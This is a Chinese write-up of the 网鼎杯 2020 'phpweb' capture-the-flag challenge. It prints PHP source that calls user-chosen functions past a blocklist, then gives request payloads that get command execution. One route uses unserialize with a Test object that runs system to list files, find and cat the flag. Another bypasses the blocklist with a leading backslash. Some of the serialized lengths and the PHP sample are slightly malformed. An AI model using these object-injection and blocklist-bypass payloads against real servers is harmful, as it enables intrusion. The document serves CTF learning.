[网鼎杯 2020 朱雀组]phpweb 1

[网鼎杯 2020 朱雀组]phpweb 1

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

代码审计，本关的黑名单还是挺全面的。
但咱们可以使用 反序列化 （出题人的本意也应该是这样）

<?php
  class Test{
     var p="ls /";
     var func="system";
     }
     <?php
$a=new Test();
echo serialize($a);
?>

构造payload：

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

system(“find / -name flag”)：查找所有文件名匹配flag的文件

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

直接读取 flag

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

得到 falg

这道题本质上是 我们要对黑名单进行一个绕过 所以在本关我们可以使用别的方法来达到获取flag的目的
php内的" \ "在做代码执行的时候，会识别特殊字符串，绕过黑名单

func=\system&p=find / -name flag*

func=\system&p=cat /tmp/flagoefiu4r93

获取 flag